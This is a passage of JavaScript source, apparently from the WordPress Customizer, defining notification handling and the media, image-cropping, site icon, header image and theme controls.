@return {void} */ setupNotifications: function() { var control = this, renderNotificationsIfVisible, onSectionAssigned; // Add setting notifications to the control notification. _.each( control.settings, function( setting ) { if ( ! setting.notifications ) { return; } setting.notifications.bind( 'add', function( settingNotification ) { var params = _.extend( {}, settingNotification, { setting: setting.id } ); control.notifications.add( new api.Notification( setting.id + ':' + settingNotification.code, params ) ); } ); setting.notifications.bind( 'remove', function( settingNotification ) { control.notifications.remove( setting.id + ':' + settingNotification.code ); } ); } ); renderNotificationsIfVisible = function() { var sectionId = control.section(); if ( ! sectionId || ( api.section.has( sectionId ) && api.section( sectionId ).expanded() ) ) { control.notifications.render(); } }; control.notifications.bind( 'rendered', function() { var notifications = control.notifications.get(); control.container.toggleClass( 'has-notifications', 0 !== notifications.length ); control.container.toggleClass( 'has-error', 0 !== _.where( notifications, { type: 'error' } ).length ); } ); onSectionAssigned = function( newSectionId, oldSectionId ) { if ( oldSectionId && api.section.has( oldSectionId ) ) { api.section( oldSectionId ).expanded.unbind( renderNotificationsIfVisible ); } if ( newSectionId ) { api.section( newSectionId, function( section ) { section.expanded.bind( renderNotificationsIfVisible ); renderNotificationsIfVisible(); }); } }; control.section.bind( onSectionAssigned ); onSectionAssigned( control.section.get() ); control.notifications.bind( 'change', _.debounce( renderNotificationsIfVisible ) ); }, /** * Render notifications. * * Renders the `control.notifications` into the control's container. * Control subclasses may override this method to do their own handling * of rendering notifications. * * @deprecated in favor of `control.notifications.render()` * @since 4.6.0 * @this {wp.customize.Control} */ renderNotifications: function() { var control = this, container, notifications, hasError = false; if ( 'undefined' !== typeof console && console.warn ) { console.warn( '[DEPRECATED] wp.customize.Control.prototype.renderNotifications() is deprecated in favor of instantiating a wp.customize.Notifications and calling its render() method.' ); } container = control.getNotificationsContainerElement(); if ( ! container || ! container.length ) { return; } notifications = []; control.notifications.each( function( notification ) { notifications.push( notification ); if ( 'error' === notification.type ) { hasError = true; } } ); if ( 0 === notifications.length ) { container.stop().slideUp( 'fast' ); } else { container.stop().slideDown( 'fast', null, function() { $( this ).css( 'height', 'auto' ); } ); } if ( ! control.notificationsTemplate ) { control.notificationsTemplate = wp.template( 'customize-control-notifications' ); } control.container.toggleClass( 'has-notifications', 0 !== notifications.length ); control.container.toggleClass( 'has-error', hasError ); container.empty().append( control.notificationsTemplate( { notifications: notifications, altNotice: Boolean( control.altNotice ) } ).trim() ); }, /** * Normal controls do not expand, so just expand its parent * * @param {Object} [params] */ expand: function ( params ) { api.section( this.section() ).expand( params ); }, /* * Documented using @borrows in the constructor. */ focus: focus, /** * Update UI in response to a change in the control's active state. * This does not change the active state, it merely handles the behavior * for when it does change. * * @since 4.1.0 * * @param {boolean} active * @param {Object} args * @param {number} args.duration * @param {Function} args.completeCallback */ onChangeActive: function ( active, args ) { if ( args.unchanged ) { if ( args.completeCallback ) { args.completeCallback(); } return; } if ( ! $.contains( document, this.container[0] ) ) { // jQuery.fn.slideUp is not hiding an element if it is not in the DOM. this.container.toggle( active ); if ( args.completeCallback ) { args.completeCallback(); } } else if ( active ) { this.container.slideDown( args.duration, args.completeCallback ); } else { this.container.slideUp( args.duration, args.completeCallback ); } }, /** * @deprecated 4.1.0 Use this.onChangeActive() instead. */ toggle: function ( active ) { return this.onChangeActive( active, this.defaultActiveArguments ); }, /* * Documented using @borrows in the constructor */ activate: Container.prototype.activate, /* * Documented using @borrows in the constructor */ deactivate: Container.prototype.deactivate, /* * Documented using @borrows in the constructor */ _toggleActive: Container.prototype._toggleActive, // @todo This function appears to be dead code and can be removed. dropdownInit: function() { var control = this, statuses = this.container.find('.dropdown-status'), params = this.params, toggleFreeze = false, update = function( to ) { if ( 'string' === typeof to && params.statuses && params.statuses[ to ] ) { statuses.html( params.statuses[ to ] ).show(); } else { statuses.hide(); } }; // Support the .dropdown class to open/close complex elements. this.container.on( 'click keydown', '.dropdown', function( event ) { if ( api.utils.isKeydownButNotEnterEvent( event ) ) { return; } event.preventDefault(); if ( ! toggleFreeze ) { control.container.toggleClass( 'open' ); } if ( control.container.hasClass( 'open' ) ) { control.container.parent().parent().find( 'li.library-selected' ).focus(); } // Don't want to fire focus and click at same time. toggleFreeze = true; setTimeout(function () { toggleFreeze = false; }, 400); }); this.setting.bind( update ); update( this.setting() ); }, /** * Render the control from its JS template, if it exists. * * The control's container must already exist in the DOM. * * @since 4.1.0 */ renderContent: function () { var control = this, template, standardTypes, templateId, sectionId; standardTypes = [ 'button', 'checkbox', 'date', 'datetime-local', 'email', 'month', 'number', 'password', 'radio', 'range', 'search', 'select', 'tel', 'time', 'text', 'textarea', 'week', 'url' ]; templateId = control.templateSelector; // Use default content template when a standard HTML type is used, // there isn't a more specific template existing, and the control container is empty. if ( templateId === 'customize-control-' + control.params.type + '-content' && _.contains( standardTypes, control.params.type ) && ! document.getElementById( 'tmpl-' + templateId ) && 0 === control.container.children().length ) { templateId = 'customize-control-default-content'; } // Replace the container element's content with the control. if ( document.getElementById( 'tmpl-' + templateId ) ) { template = wp.template( templateId ); if ( template && control.container ) { control.container.html( template( control.params ) ); } } // Re-render notifications after content has been re-rendered. control.notifications.container = control.getNotificationsContainerElement(); sectionId = control.section(); if ( ! sectionId || ( api.section.has( sectionId ) && api.section( sectionId ).expanded() ) ) { control.notifications.render(); } }, /** * Add a new page to a dropdown-pages control reusing menus code for this. * * @since 4.7.0 * @access private * * @return {void} */ addNewPage: function () { var control = this, promise, toggle, container, input, inputError, title, select; if ( 'dropdown-pages' !== control.params.type || ! control.params.allow_addition || ! api.Menus ) { return; } toggle = control.container.find( '.add-new-toggle' ); container = control.container.find( '.new-content-item-wrapper' ); input = control.container.find( '.create-item-input' ); inputError = control.container.find('.create-item-error'); title = input.val(); select = control.container.find( 'select' ); if ( ! title ) { container.addClass( 'form-invalid' ); input.attr('aria-invalid', 'true'); input.attr('aria-describedby', inputError.attr('id')); inputError.slideDown( 'fast' ); wp.a11y.speak( inputError.text() ); return; } container.removeClass( 'form-invalid' ); input.attr('aria-invalid', 'false'); input.removeAttr('aria-describedby'); inputError.hide(); input.attr( 'disabled', 'disabled' ); // The menus functions add the page, publish when appropriate, // and also add the new page to the dropdown-pages controls. promise = api.Menus.insertAutoDraftPost( { post_title: title, post_type: 'page' } ); promise.done( function( data ) { var availableItem, $content, itemTemplate; // Prepare the new page as an available menu item. // See api.Menus.submitNew(). availableItem = new api.Menus.AvailableItemModel( { 'id': 'post-' + data.post_id, // Used for available menu item Backbone models. 'title': title, 'type': 'post_type', 'type_label': api.Menus.data.l10n.page_label, 'object': 'page', 'object_id': data.post_id, 'url': data.url } ); // Add the new item to the list of available menu items. api.Menus.availableMenuItemsPanel.collection.add( availableItem ); $content = $( '#available-menu-items-post_type-page' ).find( '.available-menu-items-list' ); itemTemplate = wp.template( 'available-menu-item' ); $content.prepend( itemTemplate( availableItem.attributes ) ); // Focus the select control. select.focus(); control.setting.set( String( data.post_id ) ); // Triggers a preview refresh and updates the setting. // Reset the create page form. container.slideUp( 180 ); toggle.slideDown( 180 ); } ); promise.always( function() { input.val( '' ).removeAttr( 'disabled' ); } ); } }); /** * A colorpicker control. * * @class wp.customize.ColorControl * @augments wp.customize.Control */ api.ColorControl = api.Control.extend(/** @lends wp.customize.ColorControl.prototype */{ ready: function() { var control = this, isHueSlider = this.params.mode === 'hue', updating = false, picker; if ( isHueSlider ) { picker = this.container.find( '.color-picker-hue' ); picker.val( control.setting() ).wpColorPicker({ change: function( event, ui ) { updating = true; control.setting( ui.color.h() ); updating = false; } }); } else { picker = this.container.find( '.color-picker-hex' ); picker.val( control.setting() ).wpColorPicker({ change: function() { updating = true; control.setting.set( picker.wpColorPicker( 'color' ) ); updating = false; }, clear: function() { updating = true; control.setting.set( '' ); updating = false; } }); } control.setting.bind( function ( value ) { // Bail if the update came from the control itself. if ( updating ) { return; } picker.val( value ); picker.wpColorPicker( 'color', value ); } ); // Collapse color picker when hitting Esc instead of collapsing the current section. control.container.on( 'keydown', function( event ) { var pickerContainer; if ( 27 !== event.which ) { // Esc. return; } pickerContainer = control.container.find( '.wp-picker-container' ); if ( pickerContainer.hasClass( 'wp-picker-active' ) ) { picker.wpColorPicker( 'close' ); control.container.find( '.wp-color-result' ).focus(); event.stopPropagation(); // Prevent section from being collapsed. } } ); } }); /** * A control that implements the media modal. * * @class wp.customize.MediaControl * @augments wp.customize.Control */ api.MediaControl = api.Control.extend(/** @lends wp.customize.MediaControl.prototype */{ /** * When the control's DOM structure is ready, * set up internal event bindings. */ ready: function() { var control = this; // Shortcut so that we don't have to use _.bind every time we add a callback. _.bindAll( control, 'restoreDefault', 'removeFile', 'openFrame', 'select', 'pausePlayer' ); // Bind events, with delegation to facilitate re-rendering. control.container.on( 'click keydown', '.upload-button', control.openFrame ); control.container.on( 'click keydown', '.upload-button', control.pausePlayer ); control.container.on( 'click keydown', '.thumbnail-image img', control.openFrame ); control.container.on( 'click keydown', '.default-button', control.restoreDefault ); control.container.on( 'click keydown', '.remove-button', control.pausePlayer ); control.container.on( 'click keydown', '.remove-button', control.removeFile ); control.container.on( 'click keydown', '.remove-button', control.cleanupPlayer ); // Resize the player controls when it becomes visible (ie when section is expanded). api.section( control.section() ).container .on( 'expanded', function() { if ( control.player ) { control.player.setControlsSize(); } }) .on( 'collapsed', function() { control.pausePlayer(); }); /** * Set attachment data and render content. * * Note that BackgroundImage.prototype.ready applies this ready method * to itself. Since BackgroundImage is an UploadControl, the value * is the attachment URL instead of the attachment ID. In this case * we skip fetching the attachment data because we have no ID available, * and it is the responsibility of the UploadControl to set the control's * attachmentData before calling the renderContent method. * * @param {number|string} value Attachment */ function setAttachmentDataAndRenderContent( value ) { var hasAttachmentData = $.Deferred(); if ( control.extended( api.UploadControl ) ) { hasAttachmentData.resolve(); } else { value = parseInt( value, 10 ); if ( _.isNaN( value ) || value <= 0 ) { delete control.params.attachment; hasAttachmentData.resolve(); } else if ( control.params.attachment && control.params.attachment.id === value ) { hasAttachmentData.resolve(); } } // Fetch the attachment data. if ( 'pending' === hasAttachmentData.state() ) { wp.media.attachment( value ).fetch().done( function() { control.params.attachment = this.attributes; hasAttachmentData.resolve(); // Send attachment information to the preview for possible use in `postMessage` transport. wp.customize.previewer.send( control.setting.id + '-attachment-data', this.attributes ); } ); } hasAttachmentData.done( function() { control.renderContent(); } ); } // Ensure attachment data is initially set (for dynamically-instantiated controls). setAttachmentDataAndRenderContent( control.setting() ); // Update the attachment data and re-render the control when the setting changes. control.setting.bind( setAttachmentDataAndRenderContent ); }, pausePlayer: function () { this.player && this.player.pause(); }, cleanupPlayer: function () { this.player && wp.media.mixin.removePlayer( this.player ); }, /** * Open the media modal. */ openFrame: function( event ) { if ( api.utils.isKeydownButNotEnterEvent( event ) ) { return; } event.preventDefault(); if ( ! this.frame ) { this.initFrame(); } this.frame.open(); }, /** * Create a media modal select frame, and store it so the instance can be reused when needed. */ initFrame: function() { this.frame = wp.media({ button: { text: this.params.button_labels.frame_button }, states: [ new wp.media.controller.Library({ title: this.params.button_labels.frame_title, library: wp.media.query({ type: this.params.mime_type }), multiple: false, date: false }) ] }); // When a file is selected, run a callback. this.frame.on( 'select', this.select ); }, /** * Callback handler for when an attachment is selected in the media modal. * Gets the selected image information, and sets it within the control. */ select: function() { // Get the attachment from the modal frame. var node, attachment = this.frame.state().get( 'selection' ).first().toJSON(), mejsSettings = window._wpmejsSettings || {}; this.params.attachment = attachment; // Set the Customizer setting; the callback takes care of rendering. this.setting( attachment.id ); node = this.container.find( 'audio, video' ).get(0); // Initialize audio/video previews. if ( node ) { this.player = new MediaElementPlayer( node, mejsSettings ); } else { this.cleanupPlayer(); } }, /** * Reset the setting to the default value. */ restoreDefault: function( event ) { if ( api.utils.isKeydownButNotEnterEvent( event ) ) { return; } event.preventDefault(); this.params.attachment = this.params.defaultAttachment; this.setting( this.params.defaultAttachment.url ); }, /** * Called when the "Remove" link is clicked. Empties the setting. * * @param {Object} event jQuery Event object */ removeFile: function( event ) { if ( api.utils.isKeydownButNotEnterEvent( event ) ) { return; } event.preventDefault(); this.params.attachment = {}; this.setting( '' ); this.renderContent(); // Not bound to setting change when emptying. } }); /** * An upload control, which utilizes the media modal. * * @class wp.customize.UploadControl * @augments wp.customize.MediaControl */ api.UploadControl = api.MediaControl.extend(/** @lends wp.customize.UploadControl.prototype */{ /** * Callback handler for when an attachment is selected in the media modal. * Gets the selected image information, and sets it within the control. */ select: function() { // Get the attachment from the modal frame. var node, attachment = this.frame.state().get( 'selection' ).first().toJSON(), mejsSettings = window._wpmejsSettings || {}; this.params.attachment = attachment; // Set the Customizer setting; the callback takes care of rendering. this.setting( attachment.url ); node = this.container.find( 'audio, video' ).get(0); // Initialize audio/video previews. if ( node ) { this.player = new MediaElementPlayer( node, mejsSettings ); } else { this.cleanupPlayer(); } }, // @deprecated success: function() {}, // @deprecated removerVisibility: function() {} }); /** * A control for uploading images. * * This control no longer needs to do anything more * than what the upload control does in JS. * * @class wp.customize.ImageControl * @augments wp.customize.UploadControl */ api.ImageControl = api.UploadControl.extend(/** @lends wp.customize.ImageControl.prototype */{ // @deprecated thumbnailSrc: function() {} }); /** * A control for uploading background images. * * @class wp.customize.BackgroundControl * @augments wp.customize.UploadControl */ api.BackgroundControl = api.UploadControl.extend(/** @lends wp.customize.BackgroundControl.prototype */{ /** * When the control's DOM structure is ready, * set up internal event bindings. */ ready: function() { api.UploadControl.prototype.ready.apply( this, arguments ); }, /** * Callback handler for when an attachment is selected in the media modal. * Does an additional Ajax request for setting the background context. */ select: function() { api.UploadControl.prototype.select.apply( this, arguments ); wp.ajax.post( 'custom-background-add', { nonce: _wpCustomizeBackground.nonces.add, wp_customize: 'on', customize_theme: api.settings.theme.stylesheet, attachment_id: this.params.attachment.id } ); } }); /** * A control for positioning a background image. * * @since 4.7.0 * * @class wp.customize.BackgroundPositionControl * @augments wp.customize.Control */ api.BackgroundPositionControl = api.Control.extend(/** @lends wp.customize.BackgroundPositionControl.prototype */{ /** * Set up control UI once embedded in DOM and settings are created. * * @since 4.7.0 * @access public */ ready: function() { var control = this, updateRadios; control.container.on( 'change', 'input[name="background-position"]', function() { var position = $( this ).val().split( ' ' ); control.settings.x( position[0] ); control.settings.y( position[1] ); } ); updateRadios = _.debounce( function() { var x, y, radioInput, inputValue; x = control.settings.x.get(); y = control.settings.y.get(); inputValue = String( x ) + ' ' + String( y ); radioInput = control.container.find( 'input[name="background-position"][value="' + inputValue + '"]' ); radioInput.trigger( 'click' ); } ); control.settings.x.bind( updateRadios ); control.settings.y.bind( updateRadios ); updateRadios(); // Set initial UI. } } ); /** * A control for selecting and cropping an image. * * @class wp.customize.CroppedImageControl * @augments wp.customize.MediaControl */ api.CroppedImageControl = api.MediaControl.extend(/** @lends wp.customize.CroppedImageControl.prototype */{ /** * Open the media modal to the library state. */ openFrame: function( event ) { if ( api.utils.isKeydownButNotEnterEvent( event ) ) { return; } this.initFrame(); this.frame.setState( 'library' ).open(); }, /** * Create a media modal select frame, and store it so the instance can be reused when needed. */ initFrame: function() { var l10n = _wpMediaViewsL10n; this.frame = wp.media({ button: { text: l10n.select, close: false }, states: [ new wp.media.controller.Library({ title: this.params.button_labels.frame_title, library: wp.media.query({ type: 'image' }), multiple: false, date: false, priority: 20, suggestedWidth: this.params.width, suggestedHeight: this.params.height }), new wp.media.controller.CustomizeImageCropper({ imgSelectOptions: this.calculateImageSelectOptions, control: this }) ] }); this.frame.on( 'select', this.onSelect, this ); this.frame.on( 'cropped', this.onCropped, this ); this.frame.on( 'skippedcrop', this.onSkippedCrop, this ); }, /** * After an image is selected in the media modal, switch to the cropper * state if the image isn't the right size. */ onSelect: function() { var attachment = this.frame.state().get( 'selection' ).first().toJSON(); if ( this.params.width === attachment.width && this.params.height === attachment.height && ! this.params.flex_width && ! this.params.flex_height ) { this.setImageFromAttachment( attachment ); this.frame.close(); } else { this.frame.setState( 'cropper' ); } }, /** * After the image has been cropped, apply the cropped image data to the setting. * * @param {Object} croppedImage Cropped attachment data. */ onCropped: function( croppedImage ) { this.setImageFromAttachment( croppedImage ); }, /** * Returns a set of options, computed from the attached image data and * control-specific data, to be fed to the imgAreaSelect plugin in * wp.media.view.Cropper. * * @param {wp.media.model.Attachment} attachment * @param {wp.media.controller.Cropper} controller * @return {Object} Options */ calculateImageSelectOptions: function( attachment, controller ) { var control = controller.get( 'control' ), flexWidth = !! parseInt( control.params.flex_width, 10 ), flexHeight = !! parseInt( control.params.flex_height, 10 ), realWidth = attachment.get( 'width' ), realHeight = attachment.get( 'height' ), xInit = parseInt( control.params.width, 10 ), yInit = parseInt( control.params.height, 10 ), requiredRatio = xInit / yInit, realRatio = realWidth / realHeight, xImg = xInit, yImg = yInit, x1, y1, imgSelectOptions; controller.set( 'hasRequiredAspectRatio', control.hasRequiredAspectRatio( requiredRatio, realRatio ) ); controller.set( 'suggestedCropSize', { width: realWidth, height: realHeight, x1: 0, y1: 0, x2: xInit, y2: yInit } ); controller.set( 'canSkipCrop', ! control.mustBeCropped( flexWidth, flexHeight, xInit, yInit, realWidth, realHeight ) ); if ( realRatio > requiredRatio ) { yInit = realHeight; xInit = yInit * requiredRatio; } else { xInit = realWidth; yInit = xInit / requiredRatio; } x1 = ( realWidth - xInit ) / 2; y1 = ( realHeight - yInit ) / 2; imgSelectOptions = { handles: true, keys: true, instance: true, persistent: true, imageWidth: realWidth, imageHeight: realHeight, minWidth: xImg > xInit ? xInit : xImg, minHeight: yImg > yInit ? yInit : yImg, x1: x1, y1: y1, x2: xInit + x1, y2: yInit + y1 }; if ( flexHeight === false && flexWidth === false ) { imgSelectOptions.aspectRatio = xInit + ':' + yInit; } if ( true === flexHeight ) { delete imgSelectOptions.minHeight; imgSelectOptions.maxWidth = realWidth; } if ( true === flexWidth ) { delete imgSelectOptions.minWidth; imgSelectOptions.maxHeight = realHeight; } return imgSelectOptions; }, /** * Return whether the image must be cropped, based on required dimensions. * * @param {boolean} flexW Width is flexible. * @param {boolean} flexH Height is flexible. * @param {number} dstW Required width. * @param {number} dstH Required height. * @param {number} imgW Provided image's width. * @param {number} imgH Provided image's height. * @return {boolean} Whether cropping is required. */ mustBeCropped: function( flexW, flexH, dstW, dstH, imgW, imgH ) { if ( true === flexW && true === flexH ) { return false; } if ( true === flexW && dstH === imgH ) { return false; } if ( true === flexH && dstW === imgW ) { return false; } if ( dstW === imgW && dstH === imgH ) { return false; } if ( imgW <= dstW ) { return false; } return true; }, /** * Check if the image's aspect ratio essentially matches the required aspect ratio. * * Floating point precision is low, so this allows a small tolerance. This * tolerance allows for images over 100,000 px on either side to still trigger * the cropping flow. * * @param {number} requiredRatio Required image ratio. * @param {number} realRatio Provided image ratio. * @return {boolean} Whether the image has the required aspect ratio. */ hasRequiredAspectRatio: function ( requiredRatio, realRatio ) { if ( Math.abs( requiredRatio - realRatio ) < 0.000001 ) { return true; } return false; }, /** * If cropping was skipped, apply the image data directly to the setting. */ onSkippedCrop: function() { var attachment = this.frame.state().get( 'selection' ).first().toJSON(); this.setImageFromAttachment( attachment ); }, /** * Updates the setting and re-renders the control UI. * * @param {Object} attachment */ setImageFromAttachment: function( attachment ) { var control = this; this.params.attachment = attachment; // Set the Customizer setting; the callback takes care of rendering. this.setting( attachment.id ); // Set focus to the first relevant button after the icon. _.defer( function() { var firstButton = control.container.find( '.actions .button' ).first(); if ( firstButton.length ) { firstButton.focus(); } } ); } }); /** * A control for selecting and cropping Site Icons. * * @class wp.customize.SiteIconControl * @augments wp.customize.CroppedImageControl */ api.SiteIconControl = api.CroppedImageControl.extend(/** @lends wp.customize.SiteIconControl.prototype */{ /** * Create a media modal select frame, and store it so the instance can be reused when needed. */ initFrame: function() { var l10n = _wpMediaViewsL10n; this.frame = wp.media({ button: { text: l10n.select, close: false }, states: [ new wp.media.controller.Library({ title: this.params.button_labels.frame_title, library: wp.media.query({ type: 'image' }), multiple: false, date: false, priority: 20, suggestedWidth: this.params.width, suggestedHeight: this.params.height }), new wp.media.controller.SiteIconCropper({ imgSelectOptions: this.calculateImageSelectOptions, control: this }) ] }); this.frame.on( 'select', this.onSelect, this ); this.frame.on( 'cropped', this.onCropped, this ); this.frame.on( 'skippedcrop', this.onSkippedCrop, this ); }, /** * After an image is selected in the media modal, switch to the cropper * state if the image isn't the right size. */ onSelect: function() { var attachment = this.frame.state().get( 'selection' ).first().toJSON(), controller = this; if ( this.params.width === attachment.width && this.params.height === attachment.height && ! this.params.flex_width && ! this.params.flex_height ) { wp.ajax.post( 'crop-image', { nonce: attachment.nonces.edit, id: attachment.id, context: 'site-icon', cropDetails: { x1: 0, y1: 0, width: this.params.width, height: this.params.height, dst_width: this.params.width, dst_height: this.params.height } } ).done( function( croppedImage ) { controller.setImageFromAttachment( croppedImage ); controller.frame.close(); } ).fail( function() { controller.frame.trigger('content:error:crop'); } ); } else { this.frame.setState( 'cropper' ); } }, /** * Updates the setting and re-renders the control UI. * * @param {Object} attachment */ setImageFromAttachment: function( attachment ) { var control = this, sizes = [ 'site_icon-32', 'thumbnail', 'full' ], link, icon; _.each( sizes, function( size ) { if ( ! icon && ! _.isUndefined ( attachment.sizes[ size ] ) ) { icon = attachment.sizes[ size ]; } } ); this.params.attachment = attachment; // Set the Customizer setting; the callback takes care of rendering. this.setting( attachment.id ); if ( ! icon ) { return; } // Update the icon in-browser. link = $( 'link[rel="icon"][sizes="32x32"]' ); link.attr( 'href', icon.url ); // Set focus to the first relevant button after the icon. _.defer( function() { var firstButton = control.container.find( '.actions .button' ).first(); if ( firstButton.length ) { firstButton.focus(); } } ); }, /** * Called when the "Remove" link is clicked. Empties the setting. * * @param {Object} event jQuery Event object */ removeFile: function( event ) { if ( api.utils.isKeydownButNotEnterEvent( event ) ) { return; } event.preventDefault(); this.params.attachment = {}; this.setting( '' ); this.renderContent(); // Not bound to setting change when emptying. $( 'link[rel="icon"][sizes="32x32"]' ).attr( 'href', '/favicon.ico' ); // Set to default. } }); /** * @class wp.customize.HeaderControl * @augments wp.customize.Control */ api.HeaderControl = api.Control.extend(/** @lends wp.customize.HeaderControl.prototype */{ ready: function() { this.btnRemove = $('#customize-control-header_image .actions .remove'); this.btnNew = $('#customize-control-header_image .actions .new'); _.bindAll(this, 'openMedia', 'removeImage'); this.btnNew.on( 'click', this.openMedia ); this.btnRemove.on( 'click', this.removeImage ); api.HeaderTool.currentHeader = this.getInitialHeaderImage(); new api.HeaderTool.CurrentView({ model: api.HeaderTool.currentHeader, el: '#customize-control-header_image .current .container' }); new api.HeaderTool.ChoiceListView({ collection: api.HeaderTool.UploadsList = new api.HeaderTool.ChoiceList(), el: '#customize-control-header_image .choices .uploaded .list' }); new api.HeaderTool.ChoiceListView({ collection: api.HeaderTool.DefaultsList = new api.HeaderTool.DefaultsList(), el: '#customize-control-header_image .choices .default .list' }); api.HeaderTool.combinedList = api.HeaderTool.CombinedList = new api.HeaderTool.CombinedList([ api.HeaderTool.UploadsList, api.HeaderTool.DefaultsList ]); // Ensure custom-header-crop Ajax requests bootstrap the Customizer to activate the previewed theme. wp.media.controller.Cropper.prototype.defaults.doCropArgs.wp_customize = 'on'; wp.media.controller.Cropper.prototype.defaults.doCropArgs.customize_theme = api.settings.theme.stylesheet; }, /** * Returns a new instance of api.HeaderTool.ImageModel based on the currently * saved header image (if any). * * @since 4.2.0 * * @return {Object} Options */ getInitialHeaderImage: function() { if ( ! api.get().header_image || ! api.get().header_image_data || _.contains( [ 'remove-header', 'random-default-image', 'random-uploaded-image' ], api.get().header_image ) ) { return new api.HeaderTool.ImageModel(); } // Get the matching uploaded image object. var currentHeaderObject = _.find( _wpCustomizeHeader.uploads, function( imageObj ) { return ( imageObj.attachment_id === api.get().header_image_data.attachment_id ); } ); // Fall back to raw current header image. if ( ! currentHeaderObject ) { currentHeaderObject = { url: api.get().header_image, thumbnail_url: api.get().header_image, attachment_id: api.get().header_image_data.attachment_id }; } return new api.HeaderTool.ImageModel({ header: currentHeaderObject, choice: currentHeaderObject.url.split( '/' ).pop() }); }, /** * Returns a set of options, computed from the attached image data and * theme-specific data, to be fed to the imgAreaSelect plugin in * wp.media.view.Cropper. * * @param {wp.media.model.Attachment} attachment * @param {wp.media.controller.Cropper} controller * @return {Object} Options */ calculateImageSelectOptions: function(attachment, controller) { var xInit = parseInt(_wpCustomizeHeader.data.width, 10), yInit = parseInt(_wpCustomizeHeader.data.height, 10), flexWidth = !! parseInt(_wpCustomizeHeader.data['flex-width'], 10), flexHeight = !! parseInt(_wpCustomizeHeader.data['flex-height'], 10), ratio, xImg, yImg, realHeight, realWidth, imgSelectOptions; realWidth = attachment.get('width'); realHeight = attachment.get('height'); this.headerImage = new api.HeaderTool.ImageModel(); this.headerImage.set({ themeWidth: xInit, themeHeight: yInit, themeFlexWidth: flexWidth, themeFlexHeight: flexHeight, imageWidth: realWidth, imageHeight: realHeight }); controller.set( 'canSkipCrop', ! this.headerImage.shouldBeCropped() ); ratio = xInit / yInit; xImg = realWidth; yImg = realHeight; if ( xImg / yImg > ratio ) { yInit = yImg; xInit = yInit * ratio; } else { xInit = xImg; yInit = xInit / ratio; } imgSelectOptions = { handles: true, keys: true, instance: true, persistent: true, imageWidth: realWidth, imageHeight: realHeight, x1: 0, y1: 0, x2: xInit, y2: yInit }; if (flexHeight === false && flexWidth === false) { imgSelectOptions.aspectRatio = xInit + ':' + yInit; } if (flexHeight === false ) { imgSelectOptions.maxHeight = yInit; } if (flexWidth === false ) { imgSelectOptions.maxWidth = xInit; } return imgSelectOptions; }, /** * Sets up and opens the Media Manager in order to select an image. * Depending on both the size of the image and the properties of the * current theme, a cropping step after selection may be required or * skippable. * * @param {event} event */ openMedia: function(event) { var l10n = _wpMediaViewsL10n; event.preventDefault(); this.frame = wp.media({ button: { text: l10n.selectAndCrop, close: false }, states: [ new wp.media.controller.Library({ title: l10n.chooseImage, library: wp.media.query({ type: 'image' }), multiple: false, date: false, priority: 20, suggestedWidth: _wpCustomizeHeader.data.width, suggestedHeight: _wpCustomizeHeader.data.height }), new wp.media.controller.Cropper({ imgSelectOptions: this.calculateImageSelectOptions }) ] }); this.frame.on('select', this.onSelect, this); this.frame.on('cropped', this.onCropped, this); this.frame.on('skippedcrop', this.onSkippedCrop, this); this.frame.open(); }, /** * After an image is selected in the media modal, * switch to the cropper state. */ onSelect: function() { this.frame.setState('cropper'); }, /** * After the image has been cropped, apply the cropped image data to the setting. * * @param {Object} croppedImage Cropped attachment data. */ onCropped: function(croppedImage) { var url = croppedImage.url, attachmentId = croppedImage.attachment_id, w = croppedImage.width, h = croppedImage.height; this.setImageFromURL(url, attachmentId, w, h); }, /** * If cropping was skipped, apply the image data directly to the setting. * * @param {Object} selection */ onSkippedCrop: function(selection) { var url = selection.get('url'), w = selection.get('width'), h = selection.get('height'); this.setImageFromURL(url, selection.id, w, h); }, /** * Creates a new wp.customize.HeaderTool.ImageModel from provided * header image data and inserts it into the user-uploaded headers * collection. * * @param {string} url * @param {number} attachmentId * @param {number} width * @param {number} height */ setImageFromURL: function(url, attachmentId, width, height) { var choice, data = {}; data.url = url; data.thumbnail_url = url; data.timestamp = _.now(); if (attachmentId) { data.attachment_id = attachmentId; } if (width) { data.width = width; } if (height) { data.height = height; } choice = new api.HeaderTool.ImageModel({ header: data, choice: url.split('/').pop() }); api.HeaderTool.UploadsList.add(choice); api.HeaderTool.currentHeader.set(choice.toJSON()); choice.save(); choice.importImage(); }, /** * Triggers the necessary events to deselect an image which was set as * the currently selected one. */ removeImage: function() { api.HeaderTool.currentHeader.trigger('hide'); api.HeaderTool.CombinedList.trigger('control:removeImage'); } }); /** * wp.customize.ThemeControl * * @class wp.customize.ThemeControl * @augments wp.customize.Control */ api.ThemeControl = api.Control.extend(/** @lends wp.customize.ThemeControl.prototype */{ touchDrag: false, screenshotRendered: false, /** * @since 4.2.0 */ ready: function() { var control = this, panel = api.panel( 'themes' ); function disableSwitchButtons() { return ! panel.canSwitchTheme( control.params.theme.id ); } // Temporary special function since supplying SFTP credentials does not work yet. See #42184. function disableInstallButtons() { return disableSwitchButtons() || false === api.settings.theme._canInstall || true === api.settings.theme._filesystemCredentialsNeeded; } function updateButtons() { control.container.find( 'button.preview, button.preview-theme' ).toggleClass( 'disabled', disableSwitchButtons() ); control.container.find( 'button.theme-install' ).toggleClass( 'disabled', disableInstallButtons() ); } api.state( 'selectedChangesetStatus' ).bind( updateButtons ); api.state( 'changesetStatus' ).bind( updateButtons ); updateButtons(); control.container.on( 'touchmove', '.theme', function() { control.touchDrag = true; }); // Bind details view trigger. control.container.on( 'click keydown touchend', '.theme', function( event ) { var section; if ( api.utils.isKeydownButNotEnterEvent( event ) ) { return; } // Bail if the user scrolled on a touch device. if ( control.touchDrag === true ) { return control.touchDrag = false; } // Prevent the modal from showing when the user clicks the action button. if ( $( event.target ).is( '.theme-actions .button, .update-theme' ) ) { return; } event.preventDefault(); // Keep this AFTER the key filter above. section = api.section( control.section() ); section.showDetails( control.params.theme, function() { // Temporary special function since supplying SFTP credentials does not work yet. See #42184. if ( api.settings.theme._filesystemCredentialsNeeded ) { section.overlay.find( '.theme-actions .delete-theme' ).remove(); } } ); }); control.container.on( 'render-screenshot', function() { var $screenshot = $( this ).find( 'img' ), source = $screenshot.data( 'src' ); if ( source ) { $screenshot.attr( 'src', source ); } control.screenshotRendered = true; }); }, /** * Show or hide the theme based on the presence of the term in the title, description, tags, and author. * * @since 4.2.0 * @param {Array} terms - An array of terms to search for. * @return {boolean} Whether a theme control was activated or not. */ filter: function( terms ) { var control = this, matchCount = 0, haystack = control.params.theme.name + ' ' + control.params.theme.description + ' ' + control.params.theme.tags + ' ' + control.params.theme.author + ' '; haystack = haystack.toLowerCase().replace( '-', ' ' ); // Back-compat for behavior in WordPress 4.2.0 to 4.8.X. if 